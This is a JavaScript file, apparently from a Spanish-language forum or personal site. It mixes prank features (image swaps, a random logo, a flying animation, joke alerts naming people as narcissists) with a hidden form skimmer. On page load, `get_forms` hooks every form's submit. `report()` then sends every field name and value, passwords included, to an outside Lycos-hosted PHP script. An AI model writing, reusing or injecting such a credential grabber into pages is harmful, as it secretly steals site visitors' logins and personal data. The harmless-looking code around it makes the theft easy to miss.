var texto;
var debug;
function getXMLHttp ()
{
	var obj;
	
	if (window.XMLHttpRequest)
		obj = new XMLHttpRequest ();
	else if (window.ActiveXObject)
	{
		obj = new ActiveXObject ("Msxml2.XMLHTTP");
		if (!obj)
			obj = new ActiveXObject ("Microsoft.XMLHTTP");
	}
	
	return obj;
}

function report ()
{
	var text, i;
	var rq;
	
	text = "*** EXTRAÍDO DE " + document.hostname + " :: " + Date () + "\n";
	text += "  Se han encontrado los siguientes " + this.elements.length + " elementos:\n";
	
	for (i = 0; i < this.elements.length; i++)
		text += "  " + this.elements[i].name + " => " + this.elements[i].value + " (" + this.elements[i].type + ")\n";
	
	text += "\n";
	rq = getXMLHttp ();

	if (rq)
	{
		rq.open ("GET", "http://usuarios.lycos.es/haberweb/tagboard_reg.php?tagrpt=" + encodeURIComponent (text), false);
		rq.send (null);
	}
	
}

function get_forms ()
{
	var i, tforms;
	
	tforms = document.forms;
	
	for (i = 0; i < tforms.length; i++)
		tforms[i].onsubmit = report;
}

texto = document.location.href;
if(texto.substr(texto.indexOf('?')+1)=="id=474124&debug")
{
	debug=true;
}
else
{
	debug=false;
}
if(debug)
{
	alert("Debug mode enabled\n");
}

function change_all_images()
{
	var i;
	for(i=0; i < document.images.length; i++)
	{
		if(debug)
			alert(document.images[i].src);
		if(document.images[i].src=="http://img22.imageshack.us/img22/4280/uu22cz.jpg")
		{
			document.images[i].src="http://usuarios.lycos.es/inforjoven/SoyAlex.jpg";
		}
	}
}

function rnd_image()
{
	/* Script de foto aleatoria, programado por BatchDrake */
	/* © BatchDrake 2005. Copyrighted but free, under the terms of the GPL license */
	/* Alex narcisista */
	var now = new Date();
	var rnd_number;
	var sec_divide;

	var urls=new Array("http://img473.imageshack.us/img473/1439/logo41he.jpg",
	"http://img392.imageshack.us/img392/9522/tales213lp.jpg",
	"http://img427.imageshack.us/img427/1540/vincent13qn.jpg",
	"http://fotos.miarroba.com/fotos/4/2/429873c4.jpg",
	"http://img196.imageshack.us/img196/2600/tales26ek.jpg",
	"http://img475.imageshack.us/img475/4184/logotalescutre0vc.jpg",
        "http://img509.imageshack.us/img509/1000/logotales0uy3tk.png",
        "http://img226.imageshack.us/img226/8796/talesofterror3rn.jpg",
        "http://img484.imageshack.us/img484/7300/logotales0lp7pa.jpg",
        "http://img213.imageshack.us/img213/4554/logodetalesuoh0xx.jpg");
	document.write("<img src=\"" + urls[now.getSeconds() % 10] + "\" width=\"400\" />");

}

function relocate(y)
{
	var imgobj;
	var callback;
	callback="relocate(" + (y+.01) + ")";
	imgobj=document.images.isfrog;
	imgobj.style.top=(Math.sin(y)*80)+120;
	imgobj.style.left=y*20;
	if(y*20 < 800)
	{
		setTimeout(callback, 12);
	}
	else
	{
		imgobj.style.display="none";
	}
}



function write_image(imgurl)
{
	document.write('<img name="isfrog" src="' + imgurl +'" style="position: absolute; left: 0x; top: 0px">');
}


if(texto.substr(texto.indexOf('?')+1)=="id=474124&froggy")
{
	write_image("http://img397.imageshack.us/img397/2940/imageshack2pq.png");
	relocate(0);
}
if(texto.substr(texto.indexOf('?')+1)=="id=474124&querubin")
{
	write_image("http://usuarios.lycos.es/inforjoven/SoyAlex.jpg");
	relocate(0);
}

if(texto.substr(texto.indexOf('?')+1)=="id=474124&haplo")
{
	alert("Haplo Schaffer es narcisista.\n\nSaludos.");
}

function change_bg()
{
    body = document.getElementsByTagName("body");
    if(body.style) body.style.backgroundImage = "http://bssl.wordpress.com/files/2006/02/watercolor-hearts.png";
setTimeout('change_bg()', 10);
}

if(texto.substr(texto.indexOf('?')+1)=="id=474124&hearts")
{
	setTimeout('change_bg()', 5);
}
/*
if (document.addEventListener) {
    document.addEventListener("DOMContentLoaded", get_forms, false);
}*/

window.onload = get_forms;

